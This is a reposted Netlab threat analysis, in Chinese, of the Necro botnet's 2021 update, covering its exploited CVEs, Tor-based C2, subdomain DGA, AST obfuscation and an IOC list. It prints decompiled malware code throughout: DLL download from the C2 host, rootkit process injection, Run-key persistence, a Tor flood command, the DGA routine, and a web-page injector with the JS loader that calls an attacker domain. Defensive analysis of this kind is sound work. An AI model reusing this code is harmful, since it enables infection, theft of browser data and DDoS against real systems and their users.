其他分享
首页 > 其他分享> > Necro挖矿使用了使用Tor+动态域名DGA

Necro挖矿使用了使用Tor+动态域名DGA

作者:互联网

Necro再次升级,使用Tor+动态域名DGA 双杀Windows&Linux

16 MARCH 2021

版权

版权声明:本文为Netlab原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。

概述

自从我们1月份公开Necro后不久,它就停止了传播,但从3月2号开始,BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE(CVE_2020_35665)和Zend RCE (CVE-2021-3007),又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882),蜜罐相关捕获记录如下图所示。

通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动,功能进一步加强,体现在:

  1. 开始攻击Windws系统,并在Windows平台上使用Rootkit隐藏自身。
  2. 更新了DGA机制,采用“子域名DGA+动态域名”的方法生成C2域名。
  3. C2通信支持Tor,同时加入了一种新的基于Tor的DDoS攻击方法。
  4. 能针对特定Linux目标传播Gafgyt_tor
  5. 能篡改受害机器上的Web服务页面,实现浏览器挖矿,窃取用户数据,并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。

本月初我们公开过Gafgyt_tor,并指出它与Necro来自同一团伙,即所谓的Keksec团伙。从时间上看,他们在Necro之后开始传播Gafgyt_tor,但也在同步更新Necro,增加新的特性,完整的功能如下图所示。

值得说明的是,我们先后见过2种新版本的样本,分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名,说明新版本也是在不断更新的,符合Necro作者一贯的风格:边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。

样本分析

扫描和传播

攻击Windows系统

从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的,KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到USERPROFILE\\$6829.exe,代码如下图所示:

if os.name == 'nt':
    try:
        sys.argv[1]
    except IndexError:
        subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
        os.kill(os.getpid(),9)
    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
    if GetLastError() == ERROR_ALREADY_EXISTS:
       os.kill(os.getpid(),9)
    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
            os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
            os.kill(os.getpid(),9)
        except:
            pass
    else:

然后Necro会根据平台选择下载一个名为x86.dll 或 x64.dll的文件:

        try:
            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
        except:
            pass
    try:
        if platform.architecture()[0].replace("bit","") == "32":
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
        else:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
    except:
        pass

这个dll文件对应一个开源的Rootkit项目 r77-rootkit,根据项目描述它能全面隐藏特定进程:

r77 is a ring 3 Rootkit that hides following entities from all processes:

Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.

接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit,这段代码来自另一个开源项目sRDI,shellcode的使用如下:

    # 把rootkit和shellcode组装在一起
    ...
       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x48\x89\xf4'
        gwObVdGd += b'\x5e'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
    else:
    ...
        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x83\xc4\x14'
        gwObVdGd += b'\xc9'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
    
    # 注入进程
     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
    if not FfyiMaCpdR:
        cJaQhosf -= 1
        return
    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):

最后Necro会注册自启动项到SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
            except:
                pass

使用Tor通信

因为在Gafgyt_tor中已经见过KekSec团伙使用Tor来隐藏真实C2,所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。

Tor C2通信代码如下,能看到其中集成了多个Tor代理的IP和端口。

try:
    import socks
except:
    f=open('socks.py', "w")
    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove('socks.py')
        os.remove('socks.pyc')
    except:
        pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...

新加入的DDoS攻击方法 torflood的代码如下:

            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
                try:
                    import socks
                except:
                   ...
                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
                for i in range(0, int(CjoRjhoMj[7])):
                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))

子域名DGA+动态域名

新版Necro更新了DGA机制,采用DGA生成子域名,然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。

zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
    zMuBHdcdB+=1
    random.seed(a=0x7774DEAD + zMuBHdcdB)
    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
    RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
    print RaRdhjkniVY

我们监测到有9个域名已经启动,从解析记录看有些域名绑定了IPv6地址:

2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   
2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      
2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     
2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   
2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   
2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   
2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        
2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       
2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net 

JS挂马

Necro的挂马功能主要目的是在Web页面嵌入挖矿代码,这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备(包括服务器和NAS设备)的相关Web页面时,可能沦为矿机并泄露敏感信息。

            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
                self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
                threading.Thread(target=self.OLkEqimhli).start()
                self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))

Necro会先遍历被感染设备指定目录的'*.js', '*.html', '*.htm', '*.php'文件,寻找注入目标:

if os.name != "nt":
            self.AkvElneS=0
            for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
                for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
                    for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
                        oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
                        if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
                            self.chLYewdc(oGADwYHVg)

一旦找到目标,Necro就会向文件中插入一段代码:

MnPbIqasMz=open(oGADwYHVg,"rb")
            mkkzygnopRnB=MnPbIqasMz.read()
            MnPbIqasMz.close()
            fPSqTAZGgcep = kdYaxMPRdP(8)
            OGipqKBSmmTb = kdYaxMPRdP(8)
            hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
            fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
           ...
            else:
                if oGADwYHVg.endswith(".js"):
                    if 'var ' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
                else:
                    if '</body' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
            if wQARXUaaF:
                MnPbIqasMz=open(oGADwYHVg, "wb")

被感染的页面会多出如下代码:

(function(v2, v1) {
    v1 = v2.createElement('script');
    v1.type = 'text/javascript';
    v1.async = true;
    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
    v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));

这一小段代码会链接到一个脚本 hxxp[:]//ublock-referer.dev/campaign.js 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。

campaign.js 是一个高度混淆的javascript代码,在VT上的检测率为0:

代码使用了两层混淆,解码后发现它同样源自一个开源项目Cloud9,不同的是把原始版本的exploit功能去掉了,修改了部分代码的逻辑和接口名,加入了挖矿的功能。

修改后的Bot主要有三部分功能:

对应接口功能
/l.php 上报键盘记录
/f.php 上报表单数据
指令功能接口
cookie 上报cookie信息 /c.php
clipboard 上报剪切板信息 /cb.php
view 会通过加载iframe来实时加载任意链接内容  
post 会向目标post指定内容  
floodpost 会向目标周期性post指定内容用以达到DDoS的效果  
load 会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果  
antiddos 会通过周期添加iframe,并在加载目标链接后添加随机数字串来和抗D对抗  
layer4 会周期性向目标post指定长度范围的随机内容(DDoS)  
jack 通过iframe来加载指定内容,并能指定大小,并设定根据窗口改变来调整位置  
eval 通过eval方法来执行任意代码  
md5/sha1 通过指定的长度范围和码表来进行hash爆破,成功后上报 /h.php
     

对应的C2还是hxxp[:]//ublock-referer.dev/,根据被攻陷的网站的协议做http/https兼容:

master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";

网址hxxps[:]//ublock-referer.dev还用来下载恶意的FireFox插件ublock_referer-1.0.0-an+fx.xpi,插件使用的代码正是上述Javascript Bot Cloud9

代码混淆算法

新版Necro放弃了原来简单的变量名替换算法,自己实现了一个简单的基于抽象语法树AST的代码变形算法,实现了对象名称的全完随机化,且混淆的代码覆盖度更高,结果就是新版的Necro样本VT检出率为0。

dDojPSRD=open(ULTiBINyz,"rb")
     CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()
     dDojPSRD.close()
     p = ast.parse(CFiLMBZFoL)
     MiaFfQWZhb().visit(p)
     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
        ...
     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
         aPpaAZnhc.append(mFVUeqoHs.name)
     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     for ubhohFYJDo in EqDdlmuEhx:
         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
                 aPpaAZnhc.append(mFVUeqoHs.name)
     ...
     hkaxeZCocag=open(ULTiBINyz,"wb")

小结

从Necro被发现以来,我们就一直持续关注并跟踪这一僵尸网络,并关联到背后的KekSec团伙,发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙,有新的发现将及时公开。

IOC

faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
https://cloud-miner.de/*
https://ublock-referer.dev/*
77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050

标签:Necro,DGA,http,setup,py,2021,os,挖矿
来源: https://www.cnblogs.com/bonelee/p/16386731.html